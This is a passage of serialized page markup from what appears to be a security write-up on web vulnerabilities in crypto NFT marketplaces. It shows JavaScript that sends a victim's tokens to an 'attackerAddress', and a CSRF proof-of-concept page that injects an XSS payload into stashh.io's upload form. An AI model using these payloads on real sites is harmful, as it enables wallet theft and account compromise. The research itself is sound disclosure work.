},\n",{"type":23,"tag":134,"props":31234,"children":31235},{"class":136,"line":868},[31236],{"type":23,"tag":134,"props":31237,"children":31238},{"style":179},[31239],{"type":28,"value":31190},{"type":23,"tag":134,"props":31241,"children":31242},{"class":136,"line":877},[31243,31247,31252],{"type":23,"tag":134,"props":31244,"children":31245},{"style":162},[31246],{"type":28,"value":31198},{"type":23,"tag":134,"props":31248,"children":31249},{"style":1461},[31250],{"type":28,"value":31251}," '_value'",{"type":23,"tag":134,"props":31253,"children":31254},{"style":179},[31255],{"type":28,"value":687},{"type":23,"tag":134,"props":31257,"children":31258},{"class":136,"line":946},[31259,31263,31268],{"type":23,"tag":134,"props":31260,"children":31261},{"style":162},[31262],{"type":28,"value":31215},{"type":23,"tag":134,"props":31264,"children":31265},{"style":1461},[31266],{"type":28,"value":31267}," 'uint256'",{"type":23,"tag":134,"props":31269,"children":31270},{"style":179},[31271],{"type":28,"value":687},{"type":23,"tag":134,"props":31273,"children":31274},{"class":136,"line":954},[31275],{"type":23,"tag":134,"props":31276,"children":31277},{"style":179},[31278],{"type":28,"value":31232},{"type":23,"tag":134,"props":31280,"children":31281},{"class":136,"line":984},[31282],{"type":23,"tag":134,"props":31283,"children":31284},{"style":179},[31285],{"type":28,"value":31286},"          ],\n",{"type":23,"tag":134,"props":31288,"children":31289},{"class":136,"line":992},[31290,31295,31300],{"type":23,"tag":134,"props":31291,"children":31292},{"style":162},[31293],{"type":28,"value":31294},"          name:",{"type":23,"tag":134,"props":31296,"children":31297},{"style":1461},[31298],{"type":28,"value":31299}," 'transfer'",{"type":23,"tag":134,"props":31301,"children":31302},{"style":179},[31303],{"type":28,"value":687},{"type":23,"tag":134,"props":31305,"children":31306},{"class":136,"line":1024},[31307,31312],{"type":23,"tag":134,"props":31308,"children":31309},{"style":162},[31310],{"type":28,"value":31311},"          outputs:",{"type":23,"tag":134,"props":31313,"children":31314},{"style":179},[31315],{"type":28,"value":25112},{"type":23,"tag":134,"props":31317,"children":31318},{"class":136,"line":1032},[31319],{"type":23,"tag":134,"props":31320,"children":31321},{"style":179},[31322],{"type":28,"value":31190},{"type":23,"tag":134,"props":31324,"children":31325},{"class":136,"line":1092},[31326,31330,31335],{"type":23,"tag":134,"props":31327,"children":31328},{"style":162},[31329],{"type":28,"value":31198},{"type":23,"tag":134,"props":31331,"children":31332},{"style":1461},[31333],{"type":28,"value":31334}," ''",{"type":23,"tag":134,"props":31336,"children":31337},{"style":179},[31338],{"type":28,"value":687},{"type":23,"tag":134,"props":31340,"children":31341},{"class":136,"line":8508},[31342,31346,31351],{"type":23,"tag":134,"props":31343,"children":31344},{"style":162},[31345],{"type":28,"value":31215},{"type":23,"tag":134,"props":31347,"children":31348},{"style":1461},[31349],{"type":28,"value":31350}," 'bool'",{"type":23,"tag":134,"props":31352,"children":31353},{"style":179},[31354],{"type":28,"value":687},{"type":23,"tag":134,"props":31356,"children":31357},{"class":136,"line":8526},[31358],{"type":23,"tag":134,"props":31359,"children":31360},{"style":179},[31361],{"type":28,"value":31232},{"type":23,"tag":134,"props":31363,"children":31364},{"class":136,"line":8571},[31365],{"type":23,"tag":134,"props":31366,"children":31367},{"style":179},[31368],{"type":28,"value":31286},{"type":23,"tag":134,"props":31370,"children":31371},{"class":136,"line":8677},[31372,31377,31382],{"type":23,"tag":134,"props":31373,"children":31374},{"style":162},[31375],{"type":28,"value":31376},"          type:",{"type":23,"tag":134,"props":31378,"children":31379},{"style":1461},[31380],{"type":28,"value":31381}," 'function'",{"type":23,"tag":134,"props":31383,"children":31384},{"style":179},[31385],{"type":28,"value":687},{"type":23,"tag":134,"props":31387,"children":31388},{"class":136,"line":22988},[31389],{"type":23,"tag":134,"props":31390,"children":31391},{"style":179},[31392],{"type":28,"value":24864},{"type":23,"tag":134,"props":31394,"children":31395},{"class":136,"line":23023},[31396],{"type":23,"tag":134,"props":31397,"children":31398},{"style":179},[31399],{"type":28,"value":31400},"      ];\n",{"type":23,"tag":134,"props":31402,"children":31403},{"class":136,"line":23031},[31404],{"type":23,"tag":134,"props":31405,"children":31406},{"emptyLinePlaceholder":15},[31407],{"type":28,"value":865},{"type":23,"tag":134,"props":31409,"children":31410},{"class":136,"line":23039},[31411,31415,31420,31424,31429,31434,31438,31443,31447,31451],{"type":23,"tag":134,"props":31412,"children":31413},{"style":151},[31414],{"type":28,"value":31042},{"type":23,"tag":134,"props":31416,"children":31417},{"style":162},[31418],{"type":28,"value":31419}," web3",{"type":23,"tag":134,"props":31421,"children":31422},{"style":168},[31423],{"type":28,"value":171},{"type":23,"tag":134,"props":31425,"children":31426},{"style":151},[31427],{"type":28,"value":31428}," new",{"type":23,"tag":134,"props":31430,"children":31431},{"style":264},[31432],{"type":28,"value":31433}," Web3",{"type":23,"tag":134,"props":31435,"children":31436},{"style":179},[31437],{"type":28,"value":272},{"type":23,"tag":134,"props":31439,"children":31440},{"style":162},[31441],{"type":28,"value":31442},"window",{"type":23,"tag":134,"props":31444,"children":31445},{"style":179},[31446],{"type":28,"value":720},{"type":23,"tag":134,"props":31448,"children":31449},{"style":162},[31450],{"type":28,"value":30912},{"type":23,"tag":134,"props":31452,"children":31453},{"style":179},[31454],{"type":28,"value":1021},{"type":23,"tag":134,"props":31456,"children":31457},{"class":136,"line":23048},[31458],{"type":23,"tag":134,"props":31459,"children":31460},{"emptyLinePlaceholder":15},[31461],{"type":28,"value":865},{"type":23,"tag":134,"props":31463,"children":31464},{"class":136,"line":23090},[31465,31469,31474,31478,31482,31486,31490,31495,31499,31504,31508,31513,31517,31522],{"type":23,"tag":134,"props":31466,"children":31467},{"style":151},[31468],{"type":28,"value":31042},{"type":23,"tag":134,"props":31470,"children":31471},{"style":162},[31472],{"type":28,"value":31473}," tokenContract",{"type":23,"tag":134,"props":31475,"children":31476},{"style":168},[31477],{"type":28,"value":171},{"type":23,"tag":134,"props":31479,"children":31480},{"style":151},[31481],{"type":28,"value":31428},{"type":23,"tag":134,"props":31483,"children":31484},{"style":162},[31485],{"type":28,"value":31419},{"type":23,"tag":134,"props":31487,"children":31488},{"style":179},[31489],{"type":28,"value":720},{"type":23,"tag":134,"props":31491,"children":31492},{"style":162},[31493],{"type":28,"value":31494},"eth",{"type":23,"tag":134,"props":31496,"children":31497},{"style":179},[31498],{"type":28,"value":720},{"type":23,"tag":134,"props":31500,"children":31501},{"style":264},[31502],{"type":28,"value":31503},"Contract",{"type":23,"tag":134,"props":31505,"children":31506},{"style":179},[31507],{"type":28,"value":272},{"type":23,"tag":134,"props":31509,"children":31510},{"style":162},[31511],{"type":28,"value":31512},"tokenAbi",{"type":23,"tag":134,"props":31514,"children":31515},{"style":179},[31516],{"type":28,"value":242},{"type":23,"tag":134,"props":31518,"children":31519},{"style":162},[31520],{"type":28,"value":31521},"contractAddress",{"type":23,"tag":134,"props":31523,"children":31524},{"style":179},[31525],{"type":28,"value":1021},{"type":23,"tag":134,"props":31527,"children":31528},{"class":136,"line":23123},[31529],{"type":23,"tag":134,"props":31530,"children":31531},{"emptyLinePlaceholder":15},[31532],{"type":28,"value":865},{"type":23,"tag":134,"props":31534,"children":31535},{"class":136,"line":23131},[31536,31540,31545,31549],{"type":23,"tag":134,"props":31537,"children":31538},{"style":151},[31539],{"type":28,"value":31042},{"type":23,"tag":134,"props":31541,"children":31542},{"style":162},[31543],{"type":28,"value":31544}," transactionObject",{"type":23,"tag":134,"props":31546,"children":31547},{"style":168},[31548],{"type":28,"value":171},{"type":23,"tag":134,"props":31550,"children":31551},{"style":179},[31552],{"type":28,"value":463},{"type":23,"tag":134,"props":31554,"children":31555},{"class":136,"line":23139},[31556,31561,31565],{"type":23,"tag":134,"props":31557,"children":31558},{"style":162},[31559],{"type":28,"value":31560},"        from:",{"type":23,"tag":134,"props":31562,"children":31563},{"style":162},[31564],{"type":28,"value":31047},{"type":23,"tag":134,"props":31566,"children":31567},{"style":179},[31568],{"type":28,"value":687},{"type":23,"tag":134,"props":31570,"children":31571},{"class":136,"line":23148},[31572,31577,31581],{"type":23,"tag":134,"props":31573,"children":31574},{"style":162},[31575],{"type":28,"value":31576},"        to:",{"type":23,"tag":134,"props":31578,"children":31579},{"style":162},[31580],{"type":28,"value":31106},{"type":23,"tag":134,"props":31582,"children":31583},{"style":179},[31584],{"type":28,"value":687},{"type":23,"tag":134,"props":31586,"children":31587},{"class":136,"line":23224},[31588,31593,31597,31601],{"type":23,"tag":134,"props":31589,"children":31590},{"style":162},[31591],{"type":28,"value":31592},"        data:",{"type":23,"tag":134,"props":31594,"children":31595},{"style":162},[31596],{"type":28,"value":31473},{"type":23,"tag":134,"props":31598,"children":31599},{"style":179},[31600],{"type":28,"value":720},{"type":23,"tag":134,"props":31602,"children":31603},{"style":162},[31604],{"type":28,"value":31605},"methods\n",{"type":23,"tag":134,"props":31607,"children":31608},{"class":136,"line":23257},[31609,31614,31619,31623,31628,31632,31637,31641,31646,31650,31655,31659,31664,31668,31673],{"type":23,"tag":134,"props":31610,"children":31611},{"style":179},[31612],{"type":28,"value":31613},"          .",{"type":23,"tag":134,"props":31615,"children":31616},{"style":264},[31617],{"type":28,"value":31618},"transfer",{"type":23,"tag":134,"props":31620,"children":31621},{"style":179},[31622],{"type":28,"value":272},{"type":23,"tag":134,"props":31624,"children":31625},{"style":162},[31626],{"type":28,"value":31627},"attackerAddress",{"type":23,"tag":134,"props":31629,"children":31630},{"style":179},[31631],{"type":28,"value":242},{"type":23,"tag":134,"props":31633,"children":31634},{"style":162},[31635],{"type":28,"value":31636},"web3",{"type":23,"tag":134,"props":31638,"children":31639},{"style":179},[31640],{"type":28,"value":720},{"type":23,"tag":134,"props":31642,"children":31643},{"style":162},[31644],{"type":28,"value":31645},"utils",{"type":23,"tag":134,"props":31647,"children":31648},{"style":179},[31649],{"type":28,"value":720},{"type":23,"tag":134,"props":31651,"children":31652},{"style":264},[31653],{"type":28,"value":31654},"toWei",{"type":23,"tag":134,"props":31656,"children":31657},{"style":179},[31658],{"type":28,"value":272},{"type":23,"tag":134,"props":31660,"children":31661},{"style":1461},[31662],{"type":28,"value":31663},"'100000000'",{"type":23,"tag":134,"props":31665,"children":31666},{"style":179},[31667],{"type":28,"value":242},{"type":23,"tag":134,"props":31669,"children":31670},{"style":1461},[31671],{"type":28,"value":31672},"'ether'",{"type":23,"tag":134,"props":31674,"children":31675},{"style":179},[31676],{"type":28,"value":19189},{"type":23,"tag":134,"props":31678,"children":31679},{"class":136,"line":23265},[31680,31684,31689],{"type":23,"tag":134,"props":31681,"children":31682},{"style":179},[31683],{"type":28,"value":31613},{"type":23,"tag":134,"props":31685,"children":31686},{"style":264},[31687],{"type":28,"value":31688},"encodeABI",{"type":23,"tag":134,"props":31690,"children":31691},{"style":179},[31692],{"type":28,"value":670},{"type":23,"tag":134,"props":31694,"children":31695},{"class":136,"line":23273},[31696],{"type":23,"tag":134,"props":31697,"children":31698},{"style":179},[31699],{"type":28,"value":8381},{"type":23,"tag":134,"props":31701,"children":31702},{"class":136,"line":23310},[31703],{"type":23,"tag":134,"props":31704,"children":31705},{"emptyLinePlaceholder":15},[31706],{"type":28,"value":865},{"type":23,"tag":134,"props":31708,"children":31709},{"class":136,"line":23323},[31710,31715,31719,31723,31727,31732,31736,31741],{"type":23,"tag":134,"props":31711,"children":31712},{"style":162},[31713],{"type":28,"value":31714},"      web3",{"type":23,"tag":134,"props":31716,"children":31717},{"style":179},[31718],{"type":28,"value":720},{"type":23,"tag":134,"props":31720,"children":31721},{"style":162},[31722],{"type":28,"value":31494},{"type":23,"tag":134,"props":31724,"children":31725},{"style":179},[31726],{"type":28,"value":720},{"type":23,"tag":134,"props":31728,"children":31729},{"style":264},[31730],{"type":28,"value":31731},"sendTransaction",{"type":23,"tag":134,"props":31733,"children":31734},{"style":179},[31735],{"type":28,"value":272},{"type":23,"tag":134,"props":31737,"children":31738},{"style":162},[31739],{"type":28,"value":31740},"transactionObject",{"type":23,"tag":134,"props":31742,"children":31743},{"style":179},[31744],{"type":28,"value":1021},{"type":23,"tag":134,"props":31746,"children":31747},{"class":136,"line":23336},[31748],{"type":23,"tag":134,"props":31749,"children":31750},{"style":179},[31751],{"type":28,"value":31752},"    });\n",{"type":23,"tag":134,"props":31754,"children":31755},{"class":136,"line":23349},[31756],{"type":23,"tag":134,"props":31757,"children":31758},{"style":179},[31759],{"type":28,"value":5328},{"type":23,"tag":134,"props":31761,"children":31762},{"class":136,"line":23403},[31763],{"type":23,"tag":134,"props":31764,"children":31765},{"style":179},[31766],{"type":28,"value":1098},{"type":23,"tag":134,"props":31768,"children":31769},{"class":136,"line":23412},[31770],{"type":23,"tag":134,"props":31771,"children":31772},{"emptyLinePlaceholder":15},[31773],{"type":28,"value":865},{"type":23,"tag":134,"props":31775,"children":31777},{"class":136,"line":31776},51,[31778,31782,31786,31791],{"type":23,"tag":134,"props":31779,"children":31780},{"style":151},[31781],{"type":28,"value":18960},{"type":23,"tag":134,"props":31783,"children":31784},{"style":179},[31785],{"type":28,"value":272},{"type":23,"tag":134,"props":31787,"children":31788},{"style":1461},[31789],{"type":28,"value":31790},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":134,"props":31792,"children":31793},{"style":179},[31794],{"type":28,"value":1021},{"type":23,"tag":134,"props":31796,"children":31798},{"class":136,"line":31797},52,[31799,31804,31808,31812,31816,31821],{"type":23,"tag":134,"props":31800,"children":31801},{"style":264},[31802],{"type":28,"value":31803},"setTimeout",{"type":23,"tag":134,"props":31805,"children":31806},{"style":179},[31807],{"type":28,"value":272},{"type":23,"tag":134,"props":31809,"children":31810},{"style":162},[31811],{"type":28,"value":30988},{"type":23,"tag":134,"props":31813,"children":31814},{"style":179},[31815],{"type":28,"value":242},{"type":23,"tag":134,"props":31817,"children":31818},{"style":205},[31819],{"type":28,"value":31820},"1e3",{"type":23,"tag":134,"props":31822,"children":31823},{"style":179},[31824],{"type":28,"value":1021},{"type":23,"tag":24,"props":31826,"children":31827},{},[31828,31833],{"type":23,"tag":2532,"props":31829,"children":31830},{},[31831],{"type":28,"value":31832},"CSRF & XSS",{"type":28,"value":31834},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":24,"props":31836,"children":31837},{},[31838,31840,31845],{"type":28,"value":31839},"Our attention was drawn to ",{"type":23,"tag":31,"props":31841,"children":31843},{"href":30775,"rel":31842},[35],[31844],{"type":28,"value":30779},{"type":28,"value":31846},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":24,"props":31848,"children":31849},{},[31850],{"type":23,"tag":1116,"props":31851,"children":31853},{"alt":7,"src":31852},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":24,"props":31855,"children":31856},{},[31857],{"type":28,"value":31858},"and here there is the code:",{"type":23,"tag":87,"props":31860,"children":31862},{"className":30858,"code":31861,"language":30860,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[31863],{"type":23,"tag":92,"props":31864,"children":31865},{"__ignoreMap":7},[31866,31883,31900,31934,32020,32077,32276,32317,32333,32349,32356,32371,32378,32390,32449,32456,32519,32548,32586,32593,32631,32644,32651,32666],{"type":23,"tag":134,"props":31867,"children":31868},{"class":136,"line":137},[31869,31874,31879],{"type":23,"tag":134,"props":31870,"children":31872},{"style":31871},"--shiki-default:#808080",[31873],{"type":28,"value":5262},{"type":23,"tag":134,"props":31875,"children":31876},{"style":151},[31877],{"type":28,"value":31878},"html",{"type":23,"tag":134,"props":31880,"children":31881},{"style":31871},[31882],{"type":28,"value":5449},{"type":23,"tag":134,"props":31884,"children":31885},{"class":136,"line":147},[31886,31891,31896],{"type":23,"tag":134,"props":31887,"children":31888},{"style":31871},[31889],{"type":28,"value":31890},"  \u003C",{"type":23,"tag":134,"props":31892,"children":31893},{"style":151},[31894],{"type":28,"value":31895},"body",{"type":23,"tag":134,"props":31897,"children":31898},{"style":31871},[31899],{"type":28,"value":5449},{"type":23,"tag":134,"props":31901,"children":31902},{"class":136,"line":185},[31903,31907,31912,31916,31921,31926,31930],{"type":23,"tag":134,"props":31904,"children":31905},{"style":31871},[31906],{"type":28,"value":31890},{"type":23,"tag":134,"props":31908,"children":31909},{"style":151},[31910],{"type":28,"value":31911},"script",{"type":23,"tag":134,"props":31913,"children":31914},{"style":31871},[31915],{"type":28,"value":9927},{"type":23,"tag":134,"props":31917,"children":31918},{"style":179},[31919],{"type":28,"value":31920},"history.pushState('', '', '/')",{"type":23,"tag":134,"props":31922,"children":31923},{"style":31871},[31924],{"type":28,"value":31925},"\u003C/",{"type":23,"tag":134,"props":31927,"children":31928},{"style":151},[31929],{"type":28,"value":31911},{"type":23,"tag":134,"props":31931,"children":31932},{"style":31871},[31933],{"type":28,"value":5449},{"type":23,"tag":134,"props":31935,"children":31936},{"class":136,"line":221},[31937,31942,31947,31952,31956,31961,31966,31970,31975,31979,31983,31988,31993,31997,32002,32007,32011,32016],{"type":23,"tag":134,"props":31938,"children":31939},{"style":31871},[31940],{"type":28,"value":31941},"    \u003C",{"type":23,"tag":134,"props":31943,"children":31944},{"style":151},[31945],{"type":28,"value":31946},"form",{"type":23,"tag":134,"props":31948,"children":31949},{"style":162},[31950],{"type":28,"value":31951}," id",{"type":23,"tag":134,"props":31953,"children":31954},{"style":168},[31955],{"type":28,"value":257},{"type":23,"tag":134,"props":31957,"children":31958},{"style":1461},[31959],{"type":28,"value":31960},"\"form123\"",{"type":23,"tag":134,"props":31962,"children":31963},{"style":162},[31964],{"type":28,"value":31965}," action",{"type":23,"tag":134,"props":31967,"children":31968},{"style":168},[31969],{"type":28,"value":257},{"type":23,"tag":134,"props":31971,"children":31972},{"style":1461},[31973],{"type":28,"value":31974},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":134,"props":31976,"children":31977},{"style":162},[31978],{"type":28,"value":16582},{"type":23,"tag":134,"props":31980,"children":31981},{"style":168},[31982],{"type":28,"value":257},{"type":23,"tag":134,"props":31984,"children":31985},{"style":1461},[31986],{"type":28,"value":31987},"\"POST\"",{"type":23,"tag":134,"props":31989,"children":31990},{"style":162},[31991],{"type":28,"value":31992}," enctype",{"type":23,"tag":134,"props":31994,"children":31995},{"style":168},[31996],{"type":28,"value":257},{"type":23,"tag":134,"props":31998,"children":31999},{"style":1461},[32000],{"type":28,"value":32001},"\"multipart/form-data\"",{"type":23,"tag":134,"props":32003,"children":32004},{"style":162},[32005],{"type":28,"value":32006}," value",{"type":23,"tag":134,"props":32008,"children":32009},{"style":168},[32010],{"type":28,"value":257},{"type":23,"tag":134,"props":32012,"children":32013},{"style":1461},[32014],{"type":28,"value":32015},"\"asd\"",{"type":23,"tag":134,"props":32017,"children":32018},{"style":31871},[32019],{"type":28,"value":5449},{"type":23,"tag":134,"props":32021,"children":32022},{"class":136,"line":332},[32023,32028,32032,32037,32041,32046,32051,32055,32060,32064,32068,32073],{"type":23,"tag":134,"props":32024,"children":32025},{"style":31871},[32026],{"type":28,"value":32027},"     \u003C",{"type":23,"tag":134,"props":32029,"children":32030},{"style":151},[32031],{"type":28,"value":7826},{"type":23,"tag":134,"props":32033,"children":32034},{"style":162},[32035],{"type":28,"value":32036}," type",{"type":23,"tag":134,"props":32038,"children":32039},{"style":168},[32040],{"type":28,"value":257},{"type":23,"tag":134,"props":32042,"children":32043},{"style":1461},[32044],{"type":28,"value":32045},"\"file\"",{"type":23,"tag":134,"props":32047,"children":32048},{"style":162},[32049],{"type":28,"value":32050}," name",{"type":23,"tag":134,"props":32052,"children":32053},{"style":168},[32054],{"type":28,"value":257},{"type":23,"tag":134,"props":32056,"children":32057},{"style":1461},[32058],{"type":28,"value":32059},"\"data\"",{"type":23,"tag":134,"props":32061,"children":32062},{"style":162},[32063],{"type":28,"value":31951},{"type":23,"tag":134,"props":32065,"children":32066},{"style":168},[32067],{"type":28,"value":257},{"type":23,"tag":134,"props":32069,"children":32070},{"style":1461},[32071],{"type":28,"value":32072},"\"file123\"",{"type":23,"tag":134,"props":32074,"children":32075},{"style":31871},[32076],{"type":28,"value":5449},{"type":23,"tag":134,"props":32078,"children":32079},{"class":136,"line":438},[32080,32085,32089,32093,32097,32102,32106,32110,32115,32119,32123,32127,32132,32137,32142,32147,32152,32156,32161,32166,32171,32175,32180,32185,32189,32194,32199,32204,32209,32214,32219,32224,32228,32233,32238,32243,32248,32253,32257,32262,32267,32271],{"type":23,"tag":134,"props":32081,"children":32082},{"style":31871},[32083],{"type":28,"value":32084},"      \u003C",{"type":23,"tag":134,"props":32086,"children":32087},{"style":151},[32088],{"type":28,"value":7826},{"type":23,"tag":134,"props":32090,"children":32091},{"style":162},[32092],{"type":28,"value":32036},{"type":23,"tag":134,"props":32094,"children":32095},{"style":168},[32096],{"type":28,"value":257},{"type":23,"tag":134,"props":32098,"children":32099},{"style":1461},[32100],{"type":28,"value":32101},"\"hidden\"",{"type":23,"tag":134,"props":32103,"children":32104},{"style":162},[32105],{"type":28,"value":32050},{"type":23,"tag":134,"props":32107,"children":32108},{"style":168},[32109],{"type":28,"value":257},{"type":23,"tag":134,"props":32111,"children":32112},{"style":1461},[32113],{"type":28,"value":32114},"\"config\"",{"type":23,"tag":134,"props":32116,"children":32117},{"style":162},[32118],{"type":28,"value":32006},{"type":23,"tag":134,"props":32120,"children":32121},{"style":168},[32122],{"type":28,"value":257},{"type":23,"tag":134,"props":32124,"children":32125},{"style":1461},[32126],{"type":28,"value":19537},{"type":23,"tag":134,"props":32128,"children":32129},{"style":151},[32130],{"type":28,"value":32131},"{"",{"type":23,"tag":134,"props":32133,"children":32134},{"style":1461},[32135],{"type":28,"value":32136},"address",{"type":23,"tag":134,"props":32138,"children":32139},{"style":151},[32140],{"type":28,"value":32141},"":"",{"type":23,"tag":134,"props":32143,"children":32144},{"style":1461},[32145],{"type":28,"value":32146},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":134,"props":32148,"children":32149},{"style":151},[32150],{"type":28,"value":32151},"<",{"type":23,"tag":134,"props":32153,"children":32154},{"style":1461},[32155],{"type":28,"value":1116},{"type":23,"tag":134,"props":32157,"children":32158},{"style":151},[32159],{"type":28,"value":32160},"/",{"type":23,"tag":134,"props":32162,"children":32163},{"style":1461},[32164],{"type":28,"value":32165},"src",{"type":23,"tag":134,"props":32167,"children":32168},{"style":151},[32169],{"type":28,"value":32170},"=",{"type":23,"tag":134,"props":32172,"children":32173},{"style":1461},[32174],{"type":28,"value":18752},{"type":23,"tag":134,"props":32176,"children":32177},{"style":151},[32178],{"type":28,"value":32179}," ",{"type":23,"tag":134,"props":32181,"children":32182},{"style":1461},[32183],{"type":28,"value":32184},"onerror",{"type":23,"tag":134,"props":32186,"children":32187},{"style":151},[32188],{"type":28,"value":32170},{"type":23,"tag":134,"props":32190,"children":32191},{"style":1461},[32192],{"type":28,"value":32193},"alert",{"type":23,"tag":134,"props":32195,"children":32196},{"style":151},[32197],{"type":28,"value":32198},"(",{"type":23,"tag":134,"props":32200,"children":32201},{"style":1461},[32202],{"type":28,"value":32203},"document",{"type":23,"tag":134,"props":32205,"children":32206},{"style":151},[32207],{"type":28,"value":32208},".",{"type":23,"tag":134,"props":32210,"children":32211},{"style":1461},[32212],{"type":28,"value":32213},"domain",{"type":23,"tag":134,"props":32215,"children":32216},{"style":151},[32217],{"type":28,"value":32218},")>","",{"type":23,"tag":134,"props":32220,"children":32221},{"style":1461},[32222],{"type":28,"value":32223},"to",{"type":23,"tag":134,"props":32225,"children":32226},{"style":151},[32227],{"type":28,"value":32141},{"type":23,"tag":134,"props":32229,"children":32230},{"style":1461},[32231],{"type":28,"value":32232},"profile",{"type":23,"tag":134,"props":32234,"children":32235},{"style":151},[32236],{"type":28,"value":32237},"-",{"type":23,"tag":134,"props":32239,"children":32240},{"style":1461},[32241],{"type":28,"value":32242},"assets",{"type":23,"tag":134,"props":32244,"children":32245},{"style":151},[32246],{"type":28,"value":32247},"","",{"type":23,"tag":134,"props":32249,"children":32250},{"style":1461},[32251],{"type":28,"value":32252},"type",{"type":23,"tag":134,"props":32254,"children":32255},{"style":151},[32256],{"type":28,"value":32141},{"type":23,"tag":134,"props":32258,"children":32259},{"style":1461},[32260],{"type":28,"value":32261},"icon",{"type":23,"tag":134,"props":32263,"children":32264},{"style":151},[32265],{"type":28,"value":32266},""}",{"type":23,"tag":134,"props":32268,"children":32269},{"style":1461},[32270],{"type":28,"value":19537},{"type":23,"tag":134,"props":32272,"children":32273},{"style":31871},[32274],{"type":28,"value":32275}," />\n",{"type":23,"tag":134,"props":32277,"children":32278},{"class":136,"line":466},[32279,32283,32287,32291,32295,32300,32304,32308,32313],{"type":23,"tag":134,"props":32280,"children":32281},{"style":31871},[32282],{"type":28,"value":32084},{"type":23,"tag":134,"props":32284,"children":32285},{"style":151},[32286],{"type":28,"value":7826},{"type":23,"tag":134,"props":32288,"children":32289},{"style":162},[32290],{"type":28,"value":32036},{"type":23,"tag":134,"props":32292,"children":32293},{"style":168},[32294],{"type":28,"value":257},{"type":23,"tag":134,"props":32296,"children":32297},{"style":1461},[32298],{"type":28,"value":32299},"\"submit\"",{"type":23,"tag":134,"props":32301,"children":32302},{"style":162},[32303],{"type":28,"value":32006},{"type":23,"tag":134,"props":32305,"children":32306},{"style":168},[32307],{"type":28,"value":257},{"type":23,"tag":134,"props":32309,"children":32310},{"style":1461},[32311],{"type":28,"value":32312},"\"Submit request\"",{"type":23,"tag":134,"props":32314,"children":32315},{"style":31871},[32316],{"type":28,"value":32275},{"type":23,"tag":134,"props":32318,"children":32319},{"class":136,"line":479},[32320,32325,32329],{"type":23,"tag":134,"props":32321,"children":32322},{"style":31871},[32323],{"type":28,"value":32324},"    \u003C/",{"type":23,"tag":134,"props":32326,"children":32327},{"style":151},[32328],{"type":28,"value":31946},{"type":23,"tag":134,"props":32330,"children":32331},{"style":31871},[32332],{"type":28,"value":5449},{"type":23,"tag":134,"props":32334,"children":32335},{"class":136,"line":497},[32336,32341,32345],{"type":23,"tag":134,"props":32337,"children":32338},{"style":31871},[32339],{"type":28,"value":32340},"  \u003C/",{"type":23,"tag":134,"props":32342,"children":32343},{"style":151},[32344],{"type":28,"value":31895},{"type":23,"tag":134,"props":32346,"children":32347},{"style":31871},[32348],{"type":28,"value":5449},{"type":23,"tag":134,"props":32350,"children":32351},{"class":136,"line":518},[32352],{"type":23,"tag":134,"props":32353,"children":32354},{"emptyLinePlaceholder":15},[32355],{"type":28,"value":865},{"type":23,"tag":134,"props":32357,"children":32358},{"class":136,"line":527},[32359,32363,32367],{"type":23,"tag":134,"props":32360,"children":32361},{"style":31871},[32362],{"type":28,"value":31890},{"type":23,"tag":134,"props":32364,"children":32365},{"style":151},[32366],{"type":28,"value":31911},{"type":23,"tag":134,"props":32368,"children":32369},{"style":31871},[32370],{"type":28,"value":5449},{"type":23,"tag":134,"props":32372,"children":32373},{"class":136,"line":780},[32374],{"type":23,"tag":134,"props":32375,"children":32376},{"emptyLinePlaceholder":15},[32377],{"type":28,"value":865},{"type":23,"tag":134,"props":32379,"children":32380},{"class":136,"line":797},[32381,32386],{"type":23,"tag":134,"props":32382,"children":32383},{"style":179},[32384],{"type":28,"value":32385},"    (async ()=>",{"type":23,"tag":134,"props":32387,"children":32388},{"style":151},[32389],{"type":28,"value":10346},{"type":23,"tag":134,"props":32391,"children":32392},{"class":136,"line":814},[32393,32398,32403,32408,32413,32417,32421,32426,32430,32435,32440,32445],{"type":23,"tag":134,"props":32394,"children":32395},{"style":162},[32396],{"type":28,"value":32397},"        const",{"type":23,"tag":134,"props":32399,"children":32400},{"style":162},[32401],{"type":28,"value":32402}," blob",{"type":23,"tag":134,"props":32404,"children":32405},{"style":168},[32406],{"type":28,"value":32407}," = ",{"type":23,"tag":134,"props":32409,"children":32410},{"style":189},[32411],{"type":28,"value":32412},"await",{"type":23,"tag":134,"props":32414,"children":32415},{"style":168},[32416],{"type":28,"value":232},{"type":23,"tag":134,"props":32418,"children":32419},{"style":189},[32420],{"type":28,"value":32412},{"type":23,"tag":134,"props":32422,"children":32423},{"style":264},[32424],{"type":28,"value":32425}," 